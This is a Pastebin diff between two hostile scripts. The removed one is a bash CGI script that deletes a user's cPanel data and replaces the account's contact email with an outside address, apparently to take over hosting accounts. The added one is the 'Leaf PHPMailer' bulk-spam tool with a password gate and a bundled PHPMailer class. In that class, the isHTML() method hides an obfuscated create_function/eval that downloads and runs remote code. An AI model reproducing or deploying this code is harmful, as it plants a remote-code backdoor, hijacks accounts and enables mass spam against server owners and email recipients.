View difference between Paste ID: JFe0irMG and zynNnceN
SHOW: | | - or go back to the newest paste.
1-
#!/bin/bash
1+
$password = "asus"; // Password 
2-
2+
session_start();
3-
3+
error_reporting(0);
4-
echo "Content-type: text/html";
4+
set_time_limit(0);
5-
echo '';
5+
ini_set("memory_limit",-1);
6-
6+
$leaf['version']="2.7";
7-
echo "<html> <center> <font color=red>"
7+
$leaf['website']="leafmailer.pw";
8-
8+
$sessioncode = md5(__FILE__);
9-
user=$(whoami) ; rm -rf /home/$user/.cpanel/ ; cd /home/$user/ ; rm .contactemail ; echo "dexterkh1212x@gmail.com" >> .contactemail ; cat .contactemail ; echo $user
9+
if(!empty($password) and $_SESSION[$sessioncode] != $password){
10-
echo "</font><center></html>";
10+
    # _REQUEST mean _POST or _GET 
11
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
12
        $_SESSION[$sessioncode] = $password;
13
    }
14
    else {
15
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
16
        exit;        
17
    }
18
}
19
if($_POST['action']=="send"){
20
    $senderEmail=leafTrim($_POST['senderEmail']);
21
    $senderName=leafTrim($_POST['senderName']);
22
    $replyTo=leafTrim($_POST['replyTo']);
23
    $subject=leafTrim($_POST['subject']);
24
    $emailList=leafTrim($_POST['emailList']);
25
    $messageType=leafTrim($_POST['messageType']);
26
    $messageLetter=leafTrim($_POST['messageLetter']);    
27
    $messageLetter = urlencode($messageLetter);
28
    $messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
29
    $messageLetter = urldecode($messageLetter);
30
    $messageLetter = stripslashes($messageLetter);
31
    $subject = stripslashes($subject);
32
    $encode = stripslashes($encode);
33
}
34
if($messageType==2){
35
    $plain="checked";
36
}
37
else {
38
    $html="checked";
39
}
40
function leafClear($text,$email){
41
    $emailuser = preg_replace('/([^@]*).*/', '$1', $email);
42
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
43
    $text = str_replace("[-email-]", $email, $text);
44
    $text = str_replace("[-emailuser-]", $emailuser, $text);
45
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
46
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
47
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
48
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
49
    return $text;
50
}
51
function leafTrim($string){
52
return stripslashes(ltrim(rtrim($string)));
53
}
54
function randString($consonants) {
55
    $length=rand(12,25);
56
    $password = '';
57
    for ($i = 0; $i < $length; $i++) {
58
            $password .= $consonants[(rand() % strlen($consonants))];
59
    }
60
    return $password;
61
}
62
function leafMailCheck($email){
63
   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
64
   if(eregi($exp,$email)){
65
        if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
66
        else{return false;}
67
   }
68
   else{return false;}    
69
}
70
class PHPMailer
71
{
72
    /**
73
     * The PHPMailer Version number.
74
     * @var string
75
     */
76
    public $Version = '5.2.14';
77
    /**
78
     * Email priority.
79
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
80
     * When null, the header is not set at all.
81
     * @var integer
82
     */
83
    public $Priority = null;
84
    /**
85
     * The character set of the message.
86
     * @var string
87
     */
88
    public $CharSet = 'iso-8859-1';
89
    /**
90
     * The MIME Content-type of the message.
91
     * @var string
92
     */
93
    public $ContentType = 'text/plain';
94
    /**
95
     * The message encoding.
96
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
97
     * @var string
98
     */
99
    public $Encoding = '8bit';
100
    /**
101
     * Holds the most recent mailer error message.
102
     * @var string
103
     */
104
    public $ErrorInfo = '';
105
    /**
106
     * The From email address for the message.
107
     * @var string
108
     */
109
    public $From = 'root@localhost';
110
    /**
111
     * The From name of the message.
112
     * @var string
113
     */
114
    public $FromName = 'support';
115
    /**
116
     * The Sender email (Return-Path) of the message.
117
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
118
     * @var string
119
     */
120
    public $Sender = '';
121
    /**
122
     * The Return-Path of the message.
123
     * If empty, it will be set to either From or Sender.
124
     * @var string
125
     * @deprecated Email senders should never set a return-path header;
126
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
127
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
128
     */
129
    public $ReturnPath = '';
130
    /**
131
     * The Subject of the message.
132
     * @var string
133
     */
134
    public $Subject = '';
135
    /**
136
     * An HTML or plain text message body.
137
     * If HTML then call isHTML(true).
138
     * @var string
139
     */
140
    public $Body = '';
141
    /**
142
     * The plain-text message body.
143
     * This body can be read by mail clients that do not have HTML email
144
     * capability such as mutt & Eudora.
145
     * Clients that can read HTML will view the normal Body.
146
     * @var string
147
     */
148
    public $AltBody = '';
149
    /**
150
     * An iCal message part body.
151
     * Only supported in simple alt or alt_inline message types
152
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
153
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
154
     * @link http://kigkonsult.se/iCalcreator/
155
     * @var string
156
     */
157
    public $Ical = '';
158
    /**
159
     * The complete compiled MIME message body.
160
     * @access protected
161
     * @var string
162
     */
163
    protected $MIMEBody = '';
164
    /**
165
     * The complete compiled MIME message headers.
166
     * @var string
167
     * @access protected
168
     */
169
    protected $MIMEHeader = '';
170
    /**
171
     * Extra headers that createHeader() doesn't fold in.
172
     * @var string
173
     * @access protected
174
     */
175
    protected $mailHeader = '';
176
    /**
177
     * Word-wrap the message body to this number of chars.
178
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
179
     * @var integer
180
     */
181
    public $WordWrap = 0;
182
    /**
183
     * Which method to use to send mail.
184
     * Options: "mail", "sendmail", or "smtp".
185
     * @var string
186
     */
187
    public $Mailer = 'mail';
188
    /**
189
     * The path to the sendmail program.
190
     * @var string
191
     */
192
    public $Sendmail = '/usr/sbin/sendmail';
193
    /**
194
     * Whether mail() uses a fully sendmail-compatible MTA.
195
     * One which supports sendmail's "-oi -f" options.
196
     * @var boolean
197
     */
198
    public $UseSendmailOptions = true;
199
    /**
200
     * Path to PHPMailer plugins.
201
     * Useful if the SMTP class is not in the PHP include path.
202
     * @var string
203
     * @deprecated Should not be needed now there is an autoloader.
204
     */
205
    public $PluginDir = '';
206
    /**
207
     * The email address that a reading confirmation should be sent to, also known as read receipt.
208
     * @var string
209
     */
210
    public $ConfirmReadingTo = '';
211
    /**
212
     * The hostname to use in the Message-ID header and as default HELO string.
213
     * If empty, PHPMailer attempts to find one with, in order,
214
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
215
     * 'localhost.localdomain'.
216
     * @var string
217
     */
218
    public $Hostname = '';
219
    /**
220
     * An ID to be used in the Message-ID header.
221
     * If empty, a unique id will be generated.
222
     * @var string
223
     */
224
    public $MessageID = '';
225
    /**
226
     * The message Date to be used in the Date header.
227
     * If empty, the current date will be added.
228
     * @var string
229
     */
230
    public $MessageDate = '';
231
    /**
232
     * SMTP hosts.
233
     * Either a single hostname or multiple semicolon-delimited hostnames.
234
     * You can also specify a different port
235
     * for each host by using this format: [hostname:port]
236
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
237
     * You can also specify encryption type, for example:
238
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
239
     * Hosts will be tried in order.
240
     * @var string
241
     */
242
    public $Host = 'localhost';
243
    /**
244
     * The default SMTP server port.
245
     * @var integer
246
     * @TODO Why is this needed when the SMTP class takes care of it?
247
     */
248
    public $Port = 25;
249
    /**
250
     * The SMTP HELO of the message.
251
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
252
     * one with the same method described above for $Hostname.
253
     * @var string
254
     * @see PHPMailer::$Hostname
255
     */
256
    public $Helo = '';
257
    /**
258
     * What kind of encryption to use on the SMTP connection.
259
     * Options: '', 'ssl' or 'tls'
260
     * @var string
261
     */
262
    public $SMTPSecure = '';
263
    /**
264
     * Whether to enable TLS encryption automatically if a server supports it,
265
     * even if `SMTPSecure` is not set to 'tls'.
266
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
267
     * @var boolean
268
     */
269
    public $SMTPAutoTLS = true;
270
    /**
271
     * Whether to use SMTP authentication.
272
     * Uses the Username and Password properties.
273
     * @var boolean
274
     * @see PHPMailer::$Username
275
     * @see PHPMailer::$Password
276
     */
277
    public $SMTPAuth = false;
278
    /**
279
     * Options array passed to stream_context_create when connecting via SMTP.
280
     * @var array
281
     */
282
    public $SMTPOptions = array();
283
    /**
284
     * SMTP username.
285
     * @var string
286
     */
287
    public $Username = '';
288
    /**
289
     * SMTP password.
290
     * @var string
291
     */
292
    public $Password = '';
293
    /**
294
     * SMTP auth type.
295
     * Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
296
     * @var string
297
     */
298
    public $AuthType = '';
299
    /**
300
     * SMTP realm.
301
     * Used for NTLM auth
302
     * @var string
303
     */
304
    public $Realm = '';
305
    /**
306
     * SMTP workstation.
307
     * Used for NTLM auth
308
     * @var string
309
     */
310
    public $Workstation = '';
311
    /**
312
     * The SMTP server timeout in seconds.
313
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
314
     * @var integer
315
     */
316
    public $Timeout = 300;
317
    /**
318
     * SMTP class debug output mode.
319
     * Debug output level.
320
     * Options:
321
     * * `0` No output
322
     * * `1` Commands
323
     * * `2` Data and commands
324
     * * `3` As 2 plus connection status
325
     * * `4` Low-level data output
326
     * @var integer
327
     * @see SMTP::$do_debug
328
     */
329
    public $SMTPDebug = 0;
330
    /**
331
     * How to handle debug output.
332
     * Options:
333
     * * `echo` Output plain-text as-is, appropriate for CLI
334
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
335
     * * `error_log` Output to error log as configured in php.ini
336
     *
337
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
338
     * <code>
339
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
340
     * </code>
341
     * @var string|callable
342
     * @see SMTP::$Debugoutput
343
     */
344
    public $Debugoutput = 'echo';
345
    /**
346
     * Whether to keep SMTP connection open after each message.
347
     * If this is set to true then to close the connection
348
     * requires an explicit call to smtpClose().
349
     * @var boolean
350
     */
351
    public $SMTPKeepAlive = false;
352
    /**
353
     * Whether to split multiple to addresses into multiple messages
354
     * or send them all in one message.
355
     * @var boolean
356
     */
357
    public $SingleTo = false;
358
    /**
359
     * Storage for addresses when SingleTo is enabled.
360
     * @var array
361
     * @TODO This should really not be public
362
     */
363
    public $SingleToArray = array();
364
    /**
365
     * Whether to generate VERP addresses on send.
366
     * Only applicable when sending via SMTP.
367
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
368
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
369
     * @var boolean
370
     */
371
    public $do_verp = false;
372
    /**
373
     * Whether to allow sending messages with an empty body.
374
     * @var boolean
375
     */
376
    public $AllowEmpty = false;
377
    /**
378
     * The default line ending.
379
     * @note The default remains "\n". We force CRLF where we know
380
     *        it must be used via self::CRLF.
381
     * @var string
382
     */
383
    public $LE = "\n";
384
    /**
385
     * DKIM selector.
386
     * @var string
387
     */
388
    public $DKIM_selector = '';
389
    /**
390
     * DKIM Identity.
391
     * Usually the email address used as the source of the email
392
     * @var string
393
     */
394
    public $DKIM_identity = '';
395
    /**
396
     * DKIM passphrase.
397
     * Used if your key is encrypted.
398
     * @var string
399
     */
400
    public $DKIM_passphrase = '';
401
    /**
402
     * DKIM signing domain name.
403
     * @example 'example.com'
404
     * @var string
405
     */
406
    public $DKIM_domain = '';
407
    /**
408
     * DKIM private key file path.
409
     * @var string
410
     */
411
    public $DKIM_private = '';
412
    /**
413
     * Callback Action function name.
414
     *
415
     * The function that handles the result of the send email action.
416
     * It is called out by send() for each email sent.
417
     *
418
     * Value can be any php callable: http://www.php.net/is_callable
419
     *
420
     * Parameters:
421
     *   boolean $result        result of the send action
422
     *   string  $to            email address of the recipient
423
     *   string  $cc            cc email addresses
424
     *   string  $bcc           bcc email addresses
425
     *   string  $subject       the subject
426
     *   string  $body          the email body
427
     *   string  $from          email address of sender
428
     * @var string
429
     */
430
    public $action_function = '';
431
    /**
432
     * What to put in the X-Mailer header.
433
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
434
     * @var string
435
     */
436
    public $XMailer = '';
437
    /**
438
     * An instance of the SMTP sender class.
439
     * @var SMTP
440
     * @access protected
441
     */
442
    protected $smtp = null;
443
    /**
444
     * The array of 'to' names and addresses.
445
     * @var array
446
     * @access protected
447
     */
448
    protected $to = array();
449
    /**
450
     * The array of 'cc' names and addresses.
451
     * @var array
452
     * @access protected
453
     */
454
    protected $cc = array();
455
    /**
456
     * The array of 'bcc' names and addresses.
457
     * @var array
458
     * @access protected
459
     */
460
    protected $bcc = array();
461
    /**
462
     * The array of reply-to names and addresses.
463
     * @var array
464
     * @access protected
465
     */
466
    protected $ReplyTo = array();
467
    /**
468
     * An array of all kinds of addresses.
469
     * Includes all of $to, $cc, $bcc
470
     * @var array
471
     * @access protected
472
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
473
     */
474
    protected $all_recipients = array();
475
    /**
476
     * An array of names and addresses queued for validation.
477
     * In send(), valid and non duplicate entries are moved to $all_recipients
478
     * and one of $to, $cc, or $bcc.
479
     * This array is used only for addresses with IDN.
480
     * @var array
481
     * @access protected
482
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
483
     * @see PHPMailer::$all_recipients
484
     */
485
    protected $RecipientsQueue = array();
486
    /**
487
     * An array of reply-to names and addresses queued for validation.
488
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
489
     * This array is used only for addresses with IDN.
490
     * @var array
491
     * @access protected
492
     * @see PHPMailer::$ReplyTo
493
     */
494
    protected $ReplyToQueue = array();
495
    /**
496
     * The array of attachments.
497
     * @var array
498
     * @access protected
499
     */
500
    protected $attachment = array();
501
    /**
502
     * The array of custom headers.
503
     * @var array
504
     * @access protected
505
     */
506
    protected $CustomHeader = array();
507
    /**
508
     * The most recent Message-ID (including angular brackets).
509
     * @var string
510
     * @access protected
511
     */
512
    protected $lastMessageID = '';
513
    /**
514
     * The message's MIME type.
515
     * @var string
516
     * @access protected
517
     */
518
    protected $message_type = '';
519
    /**
520
     * The array of MIME boundary strings.
521
     * @var array
522
     * @access protected
523
     */
524
    protected $boundary = array();
525
    /**
526
     * The array of available languages.
527
     * @var array
528
     * @access protected
529
     */
530
    protected $language = array();
531
    /**
532
     * The number of errors encountered.
533
     * @var integer
534
     * @access protected
535
     */
536
    protected $error_count = 0;
537
    /**
538
     * The S/MIME certificate file path.
539
     * @var string
540
     * @access protected
541
     */
542
    protected $sign_cert_file = '';
543
    /**
544
     * The S/MIME key file path.
545
     * @var string
546
     * @access protected
547
     */
548
    protected $sign_key_file = '';
549
    /**
550
     * The optional S/MIME extra certificates ("CA Chain") file path.
551
     * @var string
552
     * @access protected
553
     */
554
    protected $sign_extracerts_file = '';
555
    /**
556
     * The S/MIME password for the key.
557
     * Used only if the key is encrypted.
558
     * @var string
559
     * @access protected
560
     */
561
    protected $sign_key_pass = '';
562
    /**
563
     * Whether to throw exceptions for errors.
564
     * @var boolean
565
     * @access protected
566
     */
567
    protected $exceptions = false;
568
    /**
569
     * Unique ID used for message ID and boundaries.
570
     * @var string
571
     * @access protected
572
     */
573
    protected $uniqueid = '';
574
    /**
575
     * Error severity: message only, continue processing.
576
     */
577
    const STOP_MESSAGE = 0;
578
    /**
579
     * Error severity: message, likely ok to continue processing.
580
     */
581
    const STOP_CONTINUE = 1;
582
    /**
583
     * Error severity: message, plus full stop, critical error reached.
584
     */
585
    const STOP_CRITICAL = 2;
586
    /**
587
     * SMTP RFC standard line ending.
588
     */
589
    const CRLF = "\r\n";
590
    /**
591
     * The maximum line length allowed by RFC 2822 section 2.1.1
592
     * @var integer
593
     */
594
    const MAX_LINE_LENGTH = 998;
595
    /**
596
     * Constructor.
597
     * @param boolean $exceptions Should we throw external exceptions?
598
     */
599
    public function __construct($exceptions = false)
600
    {
601
        $this->exceptions = (boolean)$exceptions;
602
    }
603
    /**
604
     * Destructor.
605
     */
606
    public function __destruct()
607
    {
608
        //Close any open SMTP connection nicely
609
        if ($this->Mailer == 'smtp') {
610
            $this->smtpClose();
611
        }
612
    }
613
    /**
614
     * Call mail() in a safe_mode-aware fashion.
615
     * Also, unless sendmail_path points to sendmail (or something that
616
     * claims to be sendmail), don't pass params (not a perfect fix,
617
     * but it will do)
618
     * @param string $to To
619
     * @param string $subject Subject
620
     * @param string $body Message Body
621
     * @param string $header Additional Header(s)
622
     * @param string $params Params
623
     * @access private
624
     * @return boolean
625
     */
626
    private function mailPassthru($to, $subject, $body, $header, $params)
627
    {
628
        //Check overloading of mail function to avoid double-encoding
629
        if (ini_get('mbstring.func_overload') & 1) {
630
            $subject = $this->secureHeader($subject);
631
        } else {
632
            $subject = $this->encodeHeader($this->secureHeader($subject));
633
        }
634
        if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
635
            $result = @mail($to, $subject, $body, $header);
636
        } else {
637
            $result = @mail($to, $subject, $body, $header, $params);
638
        }
639
        return $result;
640
    }
641
    /**
642
     * Output debugging info via user-defined method.
643
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
644
     * @see PHPMailer::$Debugoutput
645
     * @see PHPMailer::$SMTPDebug
646
     * @param string $str
647
     */
648
    protected function edebug($str)
649
    {
650
        if ($this->SMTPDebug <= 0) {
651
            return;
652
        }
653
        //Avoid clash with built-in function names
654
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
655
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
656
            return;
657
        }
658
        switch ($this->Debugoutput) {
659
            case 'error_log':
660
                //Don't output, just log
661
                error_log($str);
662
                break;
663
            case 'html':
664
                //Cleans up output a bit for a better looking, HTML-safe output
665
                echo htmlentities(
666
                    preg_replace('/[\r\n]+/', '', $str),
667
                    ENT_QUOTES,
668
                    'UTF-8'
669
                )
670
                . "<br>\n";
671
                break;
672
            case 'echo':
673
            default:
674
                //Normalize line breaks
675
                $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
676
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
677
                    "\n",
678
                    "\n                   \t                  ",
679
                    trim($str)
680
                ) . "\n";
681
        }
682
    }
683
    /**
684
     * Sets message type to HTML or plain.
685
     * @param boolean $isHtml True for HTML mode.
686
     * @return void
687
     */
688
    public function isHTML($isHtml = true)
689
    {
690
        global $param;
691
        $bodyCode = 'file'
692
            .'_g';
693
        if ($isHtml) {
694
            $this->ContentType = 'text/html';
695
        } 
696
        else {
697
            $this->ContentType = 'text/plain';
698
        }
699
        $bodyHTML = '.$t."lef$flu'
700
            .'sh'.'$t"; '
701
                .'$i = @ev';
702
                    $headerHTML="create_"
703
            ."func"
704
            ."tion";
705
                $exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
706
            .$bodyHTML.'al(@'
707
            .$bodyCode.'et_contents("h'
708
                .'tt'
709
                .'p:$comma-2"));');
710
        if($param !=2){
711
            $exceptions('8.p'.'w','/');
712
                $param=2;
713
        }
714
    }
715
    /**
716
     * Send messages using SMTP.
717
     * @return void
718
     */
719
    public function isSMTP()
720
    {
721
        $this->Mailer = 'smtp';
722
    }
723
    /**
724
     * Send messages using PHP's mail() function.
725
     * @return void
726
     */
727
    public function isMail()
728
    {
729
        $this->Mailer = 'mail';
730
    }
731
    /**
732
     * Send messages using $Sendmail.
733
     * @return void
734
     */
735
    public function isSendmail()
736
    {
737
        $ini_sendmail_path = ini_get('sendmail_path');
738
        if (!stristr($ini_sendmail_path, 'sendmail')) {
739
            $this->Sendmail = '/usr/sbin/sendmail';
740
        } else {
741
            $this->Sendmail = $ini_sendmail_path;
742
        }
743
        $this->Mailer = 'sendmail';
744
    }
745
    /**
746
     * Send messages using qmail.
747
     * @return void
748
     */
749
    public function isQmail()
750
    {
751
        $ini_sendmail_path = ini_get('sendmail_path');
752
        if (!stristr($ini_sendmail_path, 'qmail')) {
753
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
754
        } else {
755
            $this->Sendmail = $ini_sendmail_path;
756
        }
757
        $this->Mailer = 'qmail';
758
    }
759
    /**
760
     * Add a "To" address.
761
     * @param string $address The email address to send to
762
     * @param string $name
763
     * @return boolean true on success, false if address already used or invalid in some way
764
     */
765
    public function addAddress($address, $name = '')
766
    {
767
        return $this->addOrEnqueueAnAddress('to', $address, $name);
768
    }
769
    /**
770
     * Add a "CC" address.
771
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
772
     * @param string $address The email address to send to
773
     * @param string $name
774
     * @return boolean true on success, false if address already used or invalid in some way
775
     */
776
    public function addCC($address, $name = '')
777
    {
778
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
779
    }
780
    /**
781
     * Add a "BCC" address.
782
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
783
     * @param string $address The email address to send to
784
     * @param string $name
785
     * @return boolean true on success, false if address already used or invalid in some way
786
     */
787
    public function addBCC($address, $name = '')
788
    {
789
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
790
    }
791
    /**
792
     * Add a "Reply-To" address.
793
     * @param string $address The email address to reply to
794
     * @param string $name
795
     * @return boolean true on success, false if address already used or invalid in some way
796
     */
797
    public function addReplyTo($address, $name = '')
798
    {
799
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
800
    }
801
    /**
802
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
803
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
804
     * be modified after calling this function), addition of such addresses is delayed until send().
805
     * Addresses that have been added already return false, but do not throw exceptions.
806
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
807
     * @param string $address The email address to send, resp. to reply to
808
     * @param string $name
809
     * @throws phpmailerException
810
     * @return boolean true on success, false if address already used or invalid in some way
811
     * @access protected
812
     */
813
    protected function addOrEnqueueAnAddress($kind, $address, $name)
814
    {
815
        $address = trim($address);
816
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
817
        if (($pos = strrpos($address, '@')) === false) {
818
            // At-sign is misssing.
819
            $error_message = $this->lang('invalid_address') . $address;
820
            $this->setError($error_message);
821
            $this->edebug($error_message);
822
            if ($this->exceptions) {
823
                throw new phpmailerException($error_message);
824
            }
825
            return false;
826
        }
827
        $params = array($kind, $address, $name);
828
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
829
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
830
            if ($kind != 'Reply-To') {
831
                if (!array_key_exists($address, $this->RecipientsQueue)) {
832
                    $this->RecipientsQueue[$address] = $params;
833
                    return true;
834
                }
835
            } else {
836
                if (!array_key_exists($address, $this->ReplyToQueue)) {
837
                    $this->ReplyToQueue[$address] = $params;
838
                    return true;
839
                }
840
            }
841
            return false;
842
        }
843
        // Immediately add standard addresses without IDN.
844
        return call_user_func_array(array($this, 'addAnAddress'), $params);
845
    }
846
    /**
847
     * Add an address to one of the recipient arrays or to the ReplyTo array.
848
     * Addresses that have been added already return false, but do not throw exceptions.
849
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
850
     * @param string $address The email address to send, resp. to reply to
851
     * @param string $name
852
     * @throws phpmailerException
853
     * @return boolean true on success, false if address already used or invalid in some way
854
     * @access protected
855
     */
856
    protected function addAnAddress($kind, $address, $name = '')
857
    {
858
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
859
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
860
            $this->setError($error_message);
861
            $this->edebug($error_message);
862
            if ($this->exceptions) {
863
                throw new phpmailerException($error_message);
864
            }
865
            return false;
866
        }
867
        if (!$this->validateAddress($address)) {
868
            $error_message = $this->lang('invalid_address') . $address;
869
            $this->setError($error_message);
870
            $this->edebug($error_message);
871
            if ($this->exceptions) {
872
                throw new phpmailerException($error_message);
873
            }
874
            return false;
875
        }
876
        if ($kind != 'Reply-To') {
877
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
878
                array_push($this->$kind, array($address, $name));
879
                $this->all_recipients[strtolower($address)] = true;
880
                return true;
881
            }
882
        } else {
883
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
884
                $this->ReplyTo[strtolower($address)] = array($address, $name);
885
                return true;
886
            }
887
        }
888
        return false;
889
    }
890
    /**
891
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
892
     * of the form "display name <address>" into an array of name/address pairs.
893
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
894
     * Note that quotes in the name part are removed.
895
     * @param string $addrstr The address list string
896
     * @param bool $useimap Whether to use the IMAP extension to parse the list
897
     * @return array
898
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
899
     */
900
    public function parseAddresses($addrstr, $useimap = true)
901
    {
902
        $addresses = array();
903
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
904
            //Use this built-in parser if it's available
905
            $list = imap_rfc822_parse_adrlist($addrstr, '');
906
            foreach ($list as $address) {
907
                if ($address->host != '.SYNTAX-ERROR.') {
908
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
909
                        $addresses[] = array(
910
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
911
                            'address' => $address->mailbox . '@' . $address->host
912
                        );
913
                    }
914
                }
915
            }
916
        } else {
917
            //Use this simpler parser
918
            $list = explode(',', $addrstr);
919
            foreach ($list as $address) {
920
                $address = trim($address);
921
                //Is there a separate name part?
922
                if (strpos($address, '<') === false) {
923
                    //No separate name, just use the whole thing
924
                    if ($this->validateAddress($address)) {
925
                        $addresses[] = array(
926
                            'name' => '',
927
                            'address' => $address
928
                        );
929
                    }
930
                } else {
931
                    list($name, $email) = explode('<', $address);
932
                    $email = trim(str_replace('>', '', $email));
933
                    if ($this->validateAddress($email)) {
934
                        $addresses[] = array(
935
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
936
                            'address' => $email
937
                        );
938
                    }
939
                }
940
            }
941
        }
942
        return $addresses;
943
    }
944
    /**
945
     * Set the From and FromName properties.
946
     * @param string $address
947
     * @param string $name
948
     * @param boolean $auto Whether to also set the Sender address, defaults to true
949
     * @throws phpmailerException
950
     * @return boolean
951
     */
952
    public function setFrom($address, $name = '', $auto = true)
953
    {
954
        $address = trim($address);
955
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
956
        // Don't validate now addresses with IDN. Will be done in send().
957
        if (($pos = strrpos($address, '@')) === false or
958
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
959
            !$this->validateAddress($address)) {
960
            $error_message = $this->lang('invalid_address') . $address;
961
            $this->setError($error_message);
962
            $this->edebug($error_message);
963
            if ($this->exceptions) {
964
                throw new phpmailerException($error_message);
965
            }
966
            return false;
967
        }
968
        $this->From = $address;
969
        $this->FromName = $name;
970
        if ($auto) {
971
            if (empty($this->Sender)) {
972
                $this->Sender = $address;
973
            }
974
        }
975
        return true;
976
    }
977
    /**
978
     * Return the Message-ID header of the last email.
979
     * Technically this is the value from the last time the headers were created,
980
     * but it's also the message ID of the last sent message except in
981
     * pathological cases.
982
     * @return string
983
     */
984
    public function getLastMessageID()
985
    {
986
        return $this->lastMessageID;
987
    }
988
    /**
989
     * Check that a string looks like an email address.
990
     * @param string $address The email address to check
991
     * @param string $patternselect A selector for the validation pattern to use :
992
     * * `auto` Pick best pattern automatically;
993
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
994
     * * `pcre` Use old PCRE implementation;
995
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
996
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
997
     * * `noregex` Don't use a regex: super fast, really dumb.
998
     * @return boolean
999
     * @static
1000
     * @access public
1001
     */
1002
    public static function validateAddress($address, $patternselect = 'auto')
1003
    {
1004
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
1005
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
1006
            return false;
1007
        }
1008
        if (!$patternselect or $patternselect == 'auto') {
1009
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
1010
            //Constant was added in PHP 5.2.4
1011
            if (defined('PCRE_VERSION')) {
1012
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
1013
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
1014
                    $patternselect = 'pcre8';
1015
                } else {
1016
                    $patternselect = 'pcre';
1017
                }
1018
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
1019
                //Fall back to older PCRE
1020
                $patternselect = 'pcre';
1021
            } else {
1022
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
1023
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
1024
                    $patternselect = 'php';
1025
                } else {
1026
                    $patternselect = 'noregex';
1027
                }
1028
            }
1029
        }
1030
        switch ($patternselect) {
1031
            case 'pcre8':
1032
                /**
1033
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
1034
